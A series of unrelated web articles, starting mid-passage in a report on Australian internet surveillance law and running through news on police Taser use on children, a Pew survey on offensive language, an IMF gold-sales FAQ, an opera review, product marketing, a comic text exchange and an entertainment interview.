example, in 2012 Australian citizen Ravshan Usmanov pled guilty to publishing an indecent article and was originally sentenced to six months of home detention after he posted nude photographs of an ex-girlfriend on Facebook.[52] The sentence was appealed and the court commuted the original sentence in favor of a suspended sentence. Surveillance, Privacy and Anonymity Over the past few years, revelations regarding global surveillance and retention of communications data by the NSA and other intelligence agencies have raised concerns regarding users’ right to privacy and freedom of expression. However, the Australian government has taken few steps to remedy these concerns, and has instead moved to expand the government’s surveillance capabilities. In October 2014, the parliament passed amendments to the national security legislation that increase penalties for whistleblowers and could potentially allow intelligence agents to monitor an entire network with a single warrant. Further, data retention amendments passed in March 2015 require telecommunication companies to store customers’ metadata for two years, allowing agencies to access that metadata without a warrant. Law enforcement agencies may search and seize computers and compel an ISP to intercept and store data from those suspected of committing a crime. Such actions require a lawful warrant. As will be discussed below, law enforcement no longer requires a warrant to access, review, and store metadata. The collection and monitoring of the content of communication falls within the purview of the Telecommunications (Interception and Access) Act 1979 (TIAA). Call-charge records, however, are regulated by the Telecommunications Act 1997 (TA).[53] It is prohibited for ISPs and similar entities, acting on their own, to monitor and disclose the content of communications without the customer’s consent.[54] Unlawful collection and disclosure of the content of a communication can draw both civil and criminal sanctions.[55] The TIAA and TA explicitly authorize a range of disclosures, including to specified law enforcement and tax agencies, all of which require a warrant. ISPs are currently able to monitor their networks without a warrant for “network protection duties,” such as curtailing malicious software and spam.[56] The Telecommunications (Interception and Access) Amendment (Data Retention) Bill 2015 (Bill) is potentially the greatest legislative threat to Australian online freedom. The bill amends the TIAA and TA while introducing a statutory obligation for telecommunication service providers to retain telecommunications data (metadata) for two years. The bill became law on April 13, 2015 and is now referred to as the Telecommunications (Interception and Access) Amendment (Data Retention) Act 2015 (the Act). Telecommunications providers have an 18 month grace period before the applicable provisions enter into force. The metadata of all Australians will be stored for two years. There is no longer the requirement of restricting metadata access and use only in the course of an investigation. Law enforcement and intelligence agencies will no longer require a warrant to access and review metadata. However, law enforcement will still need a warrant to access stored communications, as well as any metadata associated with journalists or their sources. While other countries have implemented data retention frameworks, the Australian Attorney-General has failed to discuss the significant differences between the EU, American, and Australian legal environments. In other countries, citizens’ rights are protected under a Bill of Rights or a Charter of Human Rights and Freedoms. Like the U.S. courts, European courts can and have struck down data retention laws or directives that offend these guarantees of fundamental human rights and civil liberties. There is no Bill of Rights or Charter of Human Rights and Freedoms in Australia. As such, the courts have no effective means to strike down proposals that violate civil liberties. Once a proposal is enacted, the only way to have it changed is through legislation, which often requires a change of government. Following the leaks of U.S. National Security Agency documents by former contractor Edward Snowden in June 2013, it was reported that Australian law enforcement has received information from the NSA surveillance programs. It is further believed that the attorney general’s department is seeking the power to “break into anonymization and encryption software like Tor.”[57] Additionally, in April 2015, new revisions to the Defense Trade Controls Act introduced restrictions on encryption software that could discourage the use of these tools. The new revisions have been criticized for being overly broad, with the potential to criminalize the use of encryption for teaching and research purposes, in addition to everyday use for privacy and security.[58] The NSA surveillance revelations have further impacted the way in which Australia views its obligations around classified data. On October 1, 2014, the parliament enacted amendments to the National Security Legislation Amendment Act, including provisions that threaten journalists and whistleblowers with a ten year prison term if they publish classified information.[59] These provisions have entered into force. Other worrying provisions that will come into force in 2015 include changes to the scope of warrants. The definition of a “computer” has been broadened to allow law enforcement to access data to multiple computers connected to a network with a single warrant. Users do not need to register to use the internet, nor are there restrictions placed on anonymous communications. The same cannot be said of mobile phone users, as verified identification information is required to purchase any prepaid mobile service. Additional personal information must be provided to the service provider before a phone may be activated. All purchase information is stored while the service remains activated, and it may be accessed by law enforcement and emergency agencies provided there is a valid warrant.[60] Intimidation and Violence There were no reported acts of intimidation or violence resulting from online activities during the reporting period. Technical Attacks Cyberattacks and hacking incidents remain a common concern in Australia. Several businesses and universities sustained denial-of-service (DoS) attacks lasting close to a week, disrupting all facets of online university research, teaching, and administration. Private corporations such as those in the mining industry continue to be attacked on a regular basis. The overall rate of cyberattacks has remained steady over the past few years. -Image copyright Rui Vieira Image caption The youngest person to have a Taser drawn on them was 11, while the youngest person fired on was 14, figures showed More than 400 children have had tasers drawn on them by police in England and Wales in 2013, figures obtained by the BBC show. The Home Office Taser database, seen by BBC Radio 5 live, shows a 38% increase on 2012 in the number of children who had a taser aimed at them. Tasers were fired 37 times at 10 to 17-year-olds. Ex-Home Secretary David Blunkett, who introduced Tasers, called for a review. The Home Office said Theresa May has asked for a review of their usage. The figures obtained through a Freedom of Information request show the youngest person to have a Taser aimed at them was 11, while the youngest person fired on was 14. The oldest person to have one pointed at them was 85 and the oldest person actually fired on was 82. The Home Office has not released Taser statistics broken down by age before, and warns that they are not wholly reliable because the age figures may be police estimates. Tasers fire dart-like electrodes into a person's body and are used to incapacitate suspects. Training urged Speaking to 5 live, Mr Blunkett called for chief constables and police and crime commissioners in England and Wales to look at who was authorised to use Tasers and whether there were alternatives. "I think it's time for a review that incorporates the use of Tasers with advice and support on how to deal with difficult situations," he said. "For a youngster, 11 years old, a Taser is not in my view an appropriate way of dealing with a situation which clearly must have been out of hand, but where we need to train people to use much more traditional alternatives." Image caption Note: The Home Office has not released Taser statistics broken down by age before and warns that they are not wholly reliable because some recorded ages may be police estimates The Association of Chief Police Officers (Acpo) says under-18s are involved in a lot of violent crime, and that any use has to be justifiable in court. Commander Neil Basu said he did not want to comment on individual cases but it was important to understand the circumstances surrounding the use of a Taser. "We have to remember that children can commit violent crime too. The police are paid to intervene in those situations and Taser can be an appropriate use of force," he said. "If that 14-year-old is committing a violent act towards a member of the public or to an officer, or if they are self-harming, then our job is to make sure that that stops in the safest way possible. "And in certain circumstances, Taser is that option." What's it like to be tasered? Daniel Dove was 22 when he was tasered in a police cell in Trowbridge, Wiltshire. He says it was for flicking his underpants at a police officer during a strip search. He had been arrested for being drunk and disorderly and assault, but the case was later dropped. "I'd say it's like being shocked by a cattle fence, but 50,000 times stronger," he said. "I felt like I was paralysed… I couldn't move my hand or my body. "It wasn't a very nice experience to have." The officer involved was later charged with assault and misconduct, but cleared by a jury at Bristol Crown Court. Iain Gould, a solicitor at DPP Law, who has been involved in a number of cases involving claims of inappropriate use of Tasers, said his concern was "mission creep" as they become more commonly used. "Several years ago, Tasers were deployed to certain trained firearms officers," he said. "We now have a situation where routine rank-and-file officers are being given Tasers to use. "My concern is that it has got out of hand and what we are seeing is effectively militarisation by stealth." 'Emotional subject' That is not a description Commander Neil Basu said he recognised. "I disagree with that entirely, but I do know it is a concern," he said. "This is a very emotional subject but police forces, police officers using force, that is one of our absolute key responsibilities that the public have chosen to give us. "And if we choose to abuse that then we would lose the power. "There are no people more accountable than firearms and Taser-trained officers. So if an officer uses that power inappropriately, absolutely they should be held accountable to the law." Most likely to shoot, 2013 Police force Number of incidents involving Tasers Percentage of times Taser was fired Lancashire 145 29.7 North Wales 41 29.3 Greater Manchester 621 27.8 Merseyside 69 27.5 Devon and Cornwall 287 26.8 Note: data is for all ages rather than just under-18s, and excludes areas with fewer than 10 incidents According to Home Office guidance, only authorised firearms officers and specially trained units can use Tasers. Officers trained in the use of Tasers must consider the vulnerability of the individual and factors such as age and stature form part of this assessment. A Home Office spokesman said: "The home secretary has been clear that the use of sensitive police powers, such as stop and search, mental health and the use of force, warrant proper accountability and transparency to ensure that they are being used appropriately. "Taser is an important tactical option to help specially trained police officers resolve potentially violent situations safely, but it is right that its use is subject to the same level of scrutiny." In an ideal world, you try to engage the subject and talk the situation down, however... that is not always possible Taser-carrying officer He said a review by Chief Constable David Shaw would look at how Taser is being used, who it is being used on and what the outcomes are. In January, the Police Federation voted for all front-line police in England and Wales to be offered Tasers in light of the increased terrorism threat. Head of the federation, Steve White, said the devices would help protect against "dangerous people" who could be preparing to attack officers. However some critics, including Christopher Salmon, a Welsh police and crime commissioner, said the move would be a mistake. One serving police officer who carries a Taser told the BBC that while the headline figures looked disturbing, in reality "traditional methods" did not always work. "You only have to go to kids' football matches on a weekend to see just how tall and well-built some of these youngsters are. Just imagine being in a situation where someone of that size is going crazy with a weapon, or in some instances a knife," he said. "As a police officer who often arrives at the location as a single-crewed officer, what are you going to do? "In an ideal world, you try to engage the subject and talk the situation down, however, where there are other people in imminent danger that is not always possible, or where the subject is self-harming and a delay may cause more harm." -Over the weekend, the Democratic Unity Reform Commission issued recommendations aimed at giving power back to the party’s “grass-roots.” The recommendations would cut back the number of so-called superdelegates by 60 percent, in an effort to loosen elite control over the presidential nomination process and make the party more democratic. These recommendations illustrate the types of reforms we often see connected to democracy within parties. But these reforms are actually difficult to define and implement across many states. Part of the reason it’s difficult to make a party internally democratic is that this is the wrong way to think about parties. The concept of democracy within a political party is tricky. As with many other institutions, parties have become more democratically run over time. Important decisions like nominations and platform stances used to be made by bosses and convention delegates; now they’re largely determined by rank-and-file voters in primaries and caucuses. The logic of running things more democratically is that people tend to have more faith in the resulting decisions — those choices are more legitimate. Like just about any other institution, a party requires legitimacy to operate. It makes many decisions on behalf of its members and operates the complex caucuses, primaries, conventions and other machinery that boil down dozens of candidates into just one nominee. Similarly, it tries to weigh the many wide-ranging views of its members into a coherent platform. For it to do these things and still get roughly half the votes of the American electorate, people have to have some faith that its actions are done in good faith. -Port Blair: Acknowledging the strategic importance of the Andaman and Nicobar islands, the central government plans to invest Rs150 billion for various developmental projects on the islands, it was announced on Saturday. Road Transport and Highways Minister Nitin Gadkari announced that out of the total outlay, projects worth Rs100 billion have already commenced. The announcement came after Gadkari and Home Minister Rajnath Singh on Friday laid the foundation stones for a series of projects on the islands, a statement from the Shipping Ministry said. During the event, Rajnath Singh said the government was developing the islands while acknowledging their “strategic importance”. He added that India was emerging as a powerful nation in terms of economy and security, and that no nation could destabilise it “as the government was strengthening the security on all fronts”. The Home Minister added that, out of the 1,382 islands in the country, 10 have been selected for infrastructure development, out of which five were located in the Andamans. Singh added that an Island Development Agency (IDA) has been created for taking care of the development and security of these islands. “A&N islands may be far from New Delhi geographically, but are close to New Delhi emotionally,” the statement quoted him as saying. Gadkari added that tourism sector had good prospects in the islands and that better roads, round-the-clock power and good hotels were needed to boost tourism, which will also generate employment for the youth. Among the projects for which the foundation stones were laid included rehabilitation and upgradation of NH-4 to two-lanes from Austin Creek to Kalara at Diglipur, and Beodnabad-Ferrargunj section of the NH-4 at Baratang. The ministers also laid the foundation stone of major bridges over Humphrey Strait Creek and Middle Strait Creek at Baratang, the statement added. -Aquarius Horoscope for week of February 28, 2019 The first edition of Action Comics, which launched the story of the fictional character Superman, cost ten cents in 1938. Nowadays it's worth three million dollars. I'll make a bold prediction that you, too, will be worth considerably more on December 31, 2019 than you are right now. The increase won't be as dramatic as that of the Superman comic, but still: I expect a significant boost. And what you do in the next four weeks could have a lot to do with making my prediction come true. * I've gathered together the Free Will Astrology horoscopes that address the far-reaching themes of your destiny in the coming months. Read a compendium of your written horoscopes for 2019: Your Glorious Story 2019 In addition to my written reports, I have created three-part, in-depth EXPANDED AUDIO HOROSCOPES about Your Long-Range Future. They go further in exploring your long-range prospects and challenges. What are your plans for the coming year? Could you use some more help mapping out your dreams and schemes in 2019? To access the EXPANDED AUDIO HOROSCOPES, register and/or sign in on the main page, and then click on the link "Long Range Prediction." Choose from Part 1, Part 2, and Part 3. Each part is a standalone report, not dependent on the other two. The cost is $6 per horoscope, but there are discounts if you buy multiple tokens. Each Long-Range, Big-Picture Audio Forecast is 7 to 9 minutes long. (P.S. You can also listen to a short-term audio horoscope for the coming week! "This week (Feb 26, 2019)") -In the event it all passed off quite peacefully. The demonstration against the staging of The Death of Klinghoffer that had been predicted in some sections of the press appeared to be limited to one person standing outside the Coliseum and brandishing a rather small poster, and at the final curtain the composer, his work and English National Opera's production were all warmly received. Twenty-one years after it was first seen in Brussels, John Adams's second opera has finally reached the London stage. This a fine, intelligent treatment of it, though some aspects inevitably underline the work's fundamental problems, which have nothing to do with its political agenda, whether real or imagined, and everything to do with the way in which the work is conceived dramatically, and the language in which Alice Goodman's libretto is couched. For in many ways The Death of Klinghoffer is more a reflection on the infamous Palestinian hijacking of the cruise ship Achille Lauro in the Mediterranean in 1985, and the subsequent death of one of its passengers, the Jewish, wheelchair-bound Leon Klinghoffer, than a depiction of the event itself. It's the absence of that narrative element in the text, and the effect that has on the music which Adams composed, that robs the work of a real dramatic spine. For the first act at least the score seems much closer to oratorio than opera, with much more meditation and recollection than real-time action, and the overwrought imagery and sheer opacity of Goodman's text only exacerbate it. The pace quickens in the second half – a narrative thread more or less runs through it – and the dramatic focus is sharper, but the final impression is blurred. Tom Morris's production (designed by Tom Pye) works hard to compensate for the opera's failure to tell its own story. Significant dates are flashed up on the set, explanatory captions supply historical context, and if the effect is to make the piece seem more of a documentary than Adams and Goodman ever intended, then it's an unfortunate necessity. The stage pictures are economical, carefully managed and effective – the chorus unfurl green flags as Palestinians, carry olive trees as Israelis. Little is stylised, though some episodes are choreographed (by Arthur Pita) and enough grainy realism remains to make the true nature of the tragedy vivid. What emerges clearly too from the performance under Baldur Brönnimann is the sheer beauty of so much of Adams's score, with its dark-hued sonorities, chromatically inflected harmonies and keening instrumental lines. The great choruses that provide the opera's structural pillars are superbly sung by the ENO Chorus, though it's a real shame that the ravishing one that opens the second act has been cut here. All of the solo roles are taken memorably too, whether it's the cameos from Kathryn Harries as the Austrian woman, Lucy Schaufer as the Swiss grandmother, and Kate Miller-Heidke as the British dancing girl, or the major contributions from Christopher Magiera as the Captain, Richard Burkhard as the hijacker Mamoud, Michaela Martens as Marilyn Klinghoffer and especially Alan Opie as Leon Klinghoffer himself, who sings his final number, the Aria of the Falling Body, which Adams calls a gymnopédie, with devastating simplicity. While the place in the repertory for The Death of Klinghoffer remains unclear – does it belong in the opera house or, perhaps slightly modified, in the concert hall? – ENO's production does underline its musical worth, and its timeless seriousness. It's a major achievement. -In a survey that, on its face, may make some undergraduates scamper back to their “safe spaces,” Pew Research Center finds a majority of Americans think too many people are easily offended by mere words. According to the poll, 59 percent of Americans say “too many people are easily offended these days over the language that others use.” Another 39 percent, however, say “people need to be more careful about the language they use to avoid offending people with different backgrounds.” While overall more Americans are tired of knee-jerk sensitivity to language, Democrats are more likely than Republicans and Independents to believe people should watch what they say. According to Pew while 78 percent of Republicans and 68 percent of Independents say people are too easily offended, just 37 percent of Democrats agree, instead 61 percent of Democrats say people need to be more careful with their words. “The partisan gap is reflected in starkly divergent views among Trump and Clinton supporters,” Pew notes. “By a ratio of about five-to-one (83% to 16%), more Trump supporters say too many people are easily offended. Among Clinton supporters, 59% think people need to exercise caution in speaking to avoid offending others, while 39% think too many are easily offended.” The offense question breaks down demographically as well. Although majorities of both men and women say people are too easily offended, more men (68 percent) held that view than did women (51 percent). Black Americans were the group most likely to believe people need to be aware of their language. As Pew’s survey reveals, while 67 percent of blacks say people need to watch what they say to avoid offending people, just 32 percent of white and 49 percent of blacks agree. Interestingly, while majorities in every age group say people are too easily offended older Americans — 65 years and older — were more likely than younger people to say people should be more careful with their language to avoid offending people. Additionally, majorities across all education levels say people are too easily offended. Pew, however, found a quirk in the results — namely that Republicans with less education are more likely to say people should be more careful with their language than Republicans with more education. On the other side of the equation, Democrats with more education were more likely to hold that opinion than were Democrats with less education. “Among Republicans, 28% of those with no more than a high school education say people need to be more careful with language, double the share of Republican college graduates (14%) who say this,” Pew reports. It added, “Seven-in-ten Democratic college graduates say people need to be more careful with language, compared with 57% of those who have not completed college.” The Pew survey of 4,602 adults was conducted from June 7 to July 5. -One click, total system optimization Get robust overclocking, energy savings, digital power, customized fan control and tailored networking and audio settings One click takes care of all that complex tuning. Your PC is smart with ASUS 5-Way Optimization. It dynamically optimizes essential aspects of your system based on real-time use – so you get superb CPU performance, everyday energy savings, ultra-stable digital power, cool and quiet fans and now even networking and audio settings that are tailored for the apps that you are using. In short, 5-Way Optimization ensures that your PC is perfect for gaming, entertainment, productivity or just about anything else! Games run swiftly and smoothly with high performance, prioritized bandwidth and vivid sound Fans stay whisper-quiet for everyday computing and ensure extreme cooling efficiency when gaming Movies play without stutter Energy waste is reduced so you'll save money *Testing configuration: Intel LGA1150 i7-4770K | Z97-DELUXE | Delta AUB0812VH | AVEXIR 1600 AVD3U16001104G-4CI x 2 | EN9600GT MG/HTDP/512MD2/A x 1 | Seagate ST500DM002-500G x 1 **Intel LGA1150 i7-4765T 35W | Z97-DELUXE | SanDisk SSD 64 GB | SUPER FLOWER_SF-350P14XE_350W | ASUS PA238Q 23" | Kingston KHX1600C9D3LK2/8GX CPU Performance boost TPU Unleash your PC's full performance with a simple two-phase onboard switch or the ASUS AI Suite 3 utility! The Turbo Processor Unit (TPU) offers precise voltage control and advanced monitoring for the CPU and the graphics card, enabling great freedom to adjust CPU frequencies and ratios for optimized performance and to exploit the potential out of your graphics card*. *Refer to graphics card QVL All-round energy efficiency EPU With the Energy Processing Unit (EPU) you will enjoy from system-wide real-time power savings, controlled via a simple onboard switch or the AI Suite 3 utility. EPU detects and adjusts power consumption according to the PC's needs – automatically. It can also reduce CPU wattage to an indicated level or enjoy even more savings with Away Mode, which creates an extreme energy-saving scenario by shutting down unused extra I/O controllers and reduces the graphics cards' power level while you're away, so the PC consumes only the energy it needs – and not a drop more! Advanced fan controls for ultimate cooling and quietness EPU Fan Xpert 3 puts 4-pin/3-pin CPU and case fan controls in one place. It scans each fan's characteristics and delivers custom settings for each fan based on the dedicated area temperatures detected by hardware thermal sensors. Make sure every fan achieves the best balance of cooling performance and low noise. Fan Xpert 3 supports hardware-level PWM/DC combo mode for both the CPU and case fans. It even can reduce the CPU fan speed to below the default minimum, for extra-quiet and power saving operation during light loads. Precise Digital Power Control DIGI+ Power Control Power control is one of the most essential motherboard designs. Intelligent CPU power draw detection with ASUS DIGI+ Power Control is an innovative, industry-leading technology that fully complies with Intel® VRD12.5 specifications, increasing overclocking potential, enhancing system stability, and improving power efficiency with superior flexibility and accurate control. Game faster, rank higher Turbo App The distant sound of enemy footsteps. You turn, focus, and unleash a crackle of rapid gunfire. Another frag for you! As a gamer, you know that only the swiftest actions win the game, and that's why you need exclusive ASUS Turbo App – an intuitive tuning panel to boost everything to secure your victory in your favorite titles! Overclock your CPU, prioritize game data across your network and optimize the audio settings for fantastically clear audio and in-game-chat. History is written by the victors, so don't go to war without Turbo App. -Questions and Answers IMF Gold Sales Last Updated: July 28, 2017 On September 18, 2009, the IMF's Executive Board approved gold sales strictly limited to 403.3 metric tons, representing one eighth of the Fund's total holdings at that time. The gold sales program was completed in late December 2010. Q. How much gold was sold? • The Executive Board approved sales strictly limited to the gold the IMF had acquired after the Second Amendment of the Articles of Agreement in April 1978. This amounted to 12,965,649 fine troy ounces or 403.3 metric tons, which represented one-eighth of the Fund's total holdings at the time of approval. • The volume of gold sales approved by the Executive Board was unchanged from the proposed sales in the new income model endorsed by the Executive Board in April 2008, which was also the same volume as recommended by the Crockett Committee in its January 2007 report on the sustainable long-term financing of the IMF. • The IMF announced in February 2010 that phased sales of gold on the market would be initiated shortly. At that time, a total of 191.3 tons of gold remained to be sold, following the sale of a total of 212 tons to three central banks during October and November 2009. Q. How was the gold sold? • According to the modalities for the gold sales adopted by the Executive Board, the Fund initially stood ready to sell gold off-market directly to central banks and other official sector holders at market prices. During October and November 2009, the Fund sold a total of 212 tons in this manner to the Reserve Bank of India, the Bank of Mauritius, and the Central Bank of Sri Lanka. On September 7, 2010, the Fund sold 10 metric tons to the Bangladesh Bank. • Second, the gold sales were conducted on-market in a phased manner over time, following the approach adopted successfully by the central banks participating in the Central Bank Gold Agreement (CBGA). • Participants in the CBGA renewed in 2009 announced ceilings on sales of 400 tons annually, and 2,000 tons in total during the five years starting on September 27, 2009, and noted that the Fund's sales could be accommodated under these ceilings. • As one of the elements of transparency in the sales, the Fund informed markets that on‑market gold sales were about to commence on February 17, 2010 (See Press Release No. 10/44). The IMF provided regular updates on progress with the gold sales through its normal reporting channels. Q. Why has the IMF decided to sell gold? • The strictly limited sales of Fund gold approved by the Executive Board will help put the financing of the IMF on a sound long-term footing, and also help to boost the Fund's capacity to provide concessional loans to low income countries. • New income model: an endowment funded with the profits from gold sales is a central component of the new income model that the Board endorsed in April 2008. The new income model would provide more diverse income sources that are better aligned with the variety of functions performed by the Fund. • Concessional lending: Resources linked to the gold sales will also be used indirectly to increase the Fund's capacity to provide concessional loans to low income countries. Q. How will the resources from gold sales help with lending to low-income countries? • Back in 2009, the IMF agreed on a financing package aimed at raising its concessional lending capacity to SDR 11.3 billion (US$17 billion) over 2009–2014 through the Poverty Reduction and Growth Trust (PRGT) (See Press Release No. 09/268). Contributions linked to the windfall gold profits will count towards that package's target of raising an additional SDR 1.5 billion (US$2.3 billion) to subsidize the PRGT's low-interest concessional lending, which currently carries a zero interest rate, with the balance coming from other sources, including additional bilateral contributions from member countries. • In February 2012, the Executive Board approved the distribution to all IMF members of SDR 700 million (about US$1.1 billion) from the general reserve attributed to a portion of the windfall profits from recent IMF gold sales, with the expectation that members would transfer their share or otherwise make a new contribution of an equivalent amount to support concessional lending to low-income countries. The distribution will be effected only after the Fund has received satisfactory assurances from members of PRGT subsidy contributions equivalent to at least 90 percent of the amount distributed—i.e. SDR 630 million (about US$1 billion). Q. Why can't the IMF use the gold sales profits for low-income country lending directly instead of making a distribution to member countries and then asking them to transfer their share or contribute equivalent amounts? • The Fund does not have the authority to use resources in the General Resources Account (GRA), including profits from the sale of post-Second Amendment gold, directly to provide subsidies for concessional lending to low-income countries, as the use of GRA resources for the benefit of only low-income countries would not be consistent with the requirement of uniformity of treatment of all IMF member countries. Making profits linked to gold sales available for the PRGT therefore requires an indirect approach involving: A distribution of reserves attributed to a part of gold windfall profits to all IMF member countries in proportion to their quota shares, and Voluntary transfers by members of their share directly to the PRGT or otherwise new subsidy contributions to the PRGT. Q. What were the proceeds from the sales? • The Fund's gold sales program generated total proceeds of SDR 9.5 billion (about $15 billion). As required under the Articles of Agreement, all sales were conducted at market prices, including direct sales to official holders. Q. How was disruption of the gold market avoided? • The IMF's Executive Board reaffirmed the long-standing principle that the Fund has a systemic responsibility to avoid causing disruptions that would adversely affect gold holders and gold producers, as well as the functioning of the gold market. Hence, the Executive Board adopted modalities for the gold sales consistent with guidelines it endorsed in February 2008 to safeguard against market disruption: Sales should be strictly limited to the amount of gold that the Fund had acquired since the Second Amendment of the Articles of Agreement (12,965,649 fine troy ounces or 403.3 metric tons, which represented one-eighth of the Fund's total holdings). The Fund's gold sales should not add to the announced volume of sales from official sources. (Participants in the Central Bank Gold Agreement renewed in 2009 noted that the Fund's sales could be accommodated under the announced ceilings, ensuring that on-market gold sales by the Fund would not add to the announced volume of sales from official sources.) The scope for sales of gold to one or more official holders should be explored. This would be advantageous because such transactions would redistribute official gold holdings without changing total official holdings. There would also be the practical advantage that the Fund could receive sales proceeds earlier, thereby beginning to generate income from an endowment sooner. Absent sufficient interest from other official holders to purchase gold directly from the Fund, phased on-market sales would represent the most appropriate modality for potential gold sales. This would follow the approach adopted successfully over a number of years by current Central Bank Gold Agreement participants. A strong governance and control framework, together with a high degree of transparency, would be essential for gold sales conducted by the Fund. A clear, transparent communications strategy, including regular external reporting on sales, should be adopted, in order to assure markets that the gold sales are being conducted in a responsible manner. Q. How did the on-market sales occur? • To avoid any risk of disruption to the gold market, the on-market sales were conducted in a phased manner over time, an approach successfully adopted by central banks participating in the Central Bank Gold Agreement. • The initiation of on‑market sales did not preclude further off-market gold sales directly to interested central banks or other official holders. Such sales reduced the amount of gold that was subsequently placed on the market. • The IMF provided regular updates on progress with the gold sales through its normal reporting channels. Q. Where can more information about the IMF gold be obtained? Read more about the IMF's gold in the factsheet Gold in the IMF. -Mario Chalmers is a human with a cell phone so I sent him some text messages. Me: Hey, man. Mario: Hi. Me: what’s up? How are you? Mario: good Me: I saw the game the other night Mario: which one? Me: come on Mario: I’m in the NBA. I play a lot of games. Me: you know the one Mario: against the Celtics? Me: dude Mario: against the bucks? Me: the who? Me: don’t run from this Me: it’s fine Me: we can talk about it Me: the Indiana game Mario: oh Me: it wasn’t that cool for LeBron to yell at you Mario: well Me: were you scared? Mario: what? Me: because he’s big Mario: so Me: I mean, he’s BIG. He’s like if a stegosaurus was yelling at you. Me: OH MAN IMAGINE A STEGOSAURUS IN A HEADBAND SHOOTING A 3-POINTER THAT’S THE BEST THING Me: what kind of defense would you play against a stegosaurus??? Mario: wtf are you even talking about? Me: I remember I was playing basketball in middle school at a game or whatever and the coach started yelling at me and I for real just started crying and went and sat down Mario: dude Me: do you know what I did when I got home? Mario: cried more Me: bingo Me: did you cry? Afterward, I mean. After LeBron yelled at you? Mario: no Me: did it hurt your feelings? Mario: dude Me: did you talk to him about it? You should’ve just gone up to him like, “hey, man. I didn’t think it was that cool for you to yell at me like that in front of everyone and also all of America.” Mario: right Me: Then he’d have been like, “RRRRAAARRRRRGGGHHHHHHH” Me: BECAUSE HE’S A STEGOSAURUS Me: GET IT? HAHAAHAHAAHAHAHAA THAT’S A LITTLE THING CALLED A CALLBACK [No response.] Me: Hello? [No response.] Me: :( man, that was probably the best stegosaurus joke I ever told Mario: it wasn’t very good [No response.] Mario: yo [No response.] Mario: hello? [No response.] Mario: jesus christ are you crying again? Me: MAYBE I AM, MARIO, AND MAYBE I’M NOT, MARIO, IT’S NOT YOUR PROBLEM Mario: you gotta chill, man Me: I HAVE A LITTLE THING CALLED FEELINGS, MARIO. MAYBE YOU HEARD OF THEM? I KNOW YOU HAVE BECAUSE I WAS JUST TALKING TO YOU ABOUT THEM, MARIO. THAT’S A LITTLE THING CALLED BEING CAUGHT IN A SNARE TRAP. Mario: the joke was fine [No response.] Mario: it was good [No response.] Mario: it was funny. Real funny. Me: you really think so? Mario: … yes Me: that’s nice of you to say, Mario Me: you’re a nice guy Me: I feel kind of bad for all the bad stuff I said about you after your rap video came out Mario: :/ Me: what a weird thing that was Me: it was funny that you were like, “you know what would really be dope? You know what would really set this video off? If I was dribbling a ball while wearing slacks! BOOM! SOMEBODY CALL THE GOVERNMENT AND LET THEM KNOW THAT I JUST CRASHED THE STOCK MARKET BECAUSE I AM SO MONEY!!!!” Mario: I didn’t say any of that Me: I mean, but you basically did [No response.] Me: OK, I have to go, man Mario: bye Me: stay easy. Tell LeBron I said what’s up Mario: I’m not gonna do that Me: OK. Well at least tell Wade then Mario: no Me: Ray? Mario: nope Me: Joel Anthony? Mario: … all right. -THE BROCHURE FOR the Bahamas cruise couldn't be more inviting. It promises four days at sea, including a visit to a private island paradise where guests can "soak up the sun on a white sand beach" and thrill seek on a "powerboat adventure." Matt Sanderson sees this pamphlet as more than an invitation. He sees it as a symbol of everything that is wrong with the college football postseason because the June 2010 cruise was run by the Orange Bowl. Reading down the guest list for the "Summer Splash," Sanderson stabs his forefinger beside the names of the 40 Football Bowl Subdivision athletic directors and six conference executives who attended the complimentary cruise for two. (ESPN, which owns seven non-BCS bowl games and the BCS broadcast rights through 2014, declined an invitation to the trip.) -The first recent foray back into the serialized television for CBS has been an undeniable success. Based on the epic bestselling novel by Stephen King, Under the Dome has not only been a ratings superstar for the network, but it’s also gained a massive legion of dedicated fans picking apart every single episode for another clue to the what’s really happening inside that mysterious dome. With Steven Spielberg, Stephen King, and Brian K. Vaughn on set, Executive Producer Neal Baer has one of television’s dream teams at the helm, which has certainly helped to make Under the Dome a monster hit. Parade sat down with Baer to discuss the upcoming Blu-ray and DVD release of season one (in stores November 5), secrets of season two, and how they already have their series ending in mind. There are a lot of mystery and sci-fi elements to Under the Dome. Do you worry about how much mystery, or how many questions, to give the audience? No, I think that we try to always answer some mysteries in each episode and then establish new ones so that there’s a constant flow of new things happening and old things being answered. That way it’s satisfying and tantalizing. Do you already have an ending in mind? We do have an ending in mind, which is nice. Thinking about that, we’re able to devise all kinds of mysteries that will lead to the final mystery. One of the few issues that some people had with Stephen King’s book was the ending. Does having the ability to extend the series beyond the world of the novel allow you to tackle it in a different way? Absolutely, and we never were slavishly adapting the book. It is liberating to have the great foundation that the book provides and then move beyond that to create new stories. The book itself is only about a week in length so, in order to make our show a longer-term story, we’ve had to diverge from the book. At the end of season one, there are a few unanswered questions dangling. How do you balance how many answers to give your audience at the end of the season while still making them come back for more in season two? I don’t think there’s any formula, per se. You want to give the audience some satisfaction, so we answered what was behind this big mystery of the dome, but still we ended with some questions about what’s going to happen to Barbie. Just like in any Stephen King story, you have a lot of characters to deal with. Was there one character that you, in casting, that you felt you just had to get right? I just feel that every single character is important, so we really spent a lot of time on every single one. We always thought of Rachelle [Lefevre] as Julia because I had worked with her on A Gifted Man, but we went through all kinds of discussions for all the other characters. When Alex Koch was cast as Junior, he had never auditioned before. He had just come out of college in the theater program. That never happens. We brought him to the network three times. I think Rachelle is great in that part and, between Under the Dome and Hannibal, you’re bringing redheads back to the small screen. [Laughs] Yes! She had blonde hair on A Gifted Man only because Jennifer Ehle had red hair. She really is a redhead so she said, “I’m not going to dye my hair blonde again!” I told her, “No, no, no. You don’t have to.” [Laughs] Do you think Dean Norris felt excited to play a character so against what people know of him from Breaking Bad? Oh, he loved it. He really adores that character. And what we like about it is that he’s not just an evil guy. He also loves his son. He loves his community. He really wants the people to succeed in living under the dome, but he’s also a kind of megalomaniac. An egomaniac too, so his best intentions get away from him. How does the balance of power play out behind the scenes with you, Stephen King, Steven Spielberg, and Brian K. Vaughn, and how involved are those guys in the day to day? Brian and I are in the trenches and the two Stephens are there for support, so they see everything. They read everything. They see all the cuts, but they’re not involved in the day to day. They couldn’t be because Stephen King is writing novels still (he just released Doctor Sleep) and Steven Spielberg is directing movies. So they’re there as really great sounding boards for us. In one of the Blu-ray special features, Brian mentions that you asked all the potential writers, “What would you do if your town was suddenly sealed off by this impenetrable dome?” So now I ask you: What would Neal Baer do? Well, I’m certainly more prepared now than I was! [Laughs] We have some writers who are expert survivalists so I know all the gizmos and gadgets. What would I do? I’m a physician so I’d probably be out there trying to take care of people who were cut in half by the dome or injured in some way. That’s probably the first thing I would do 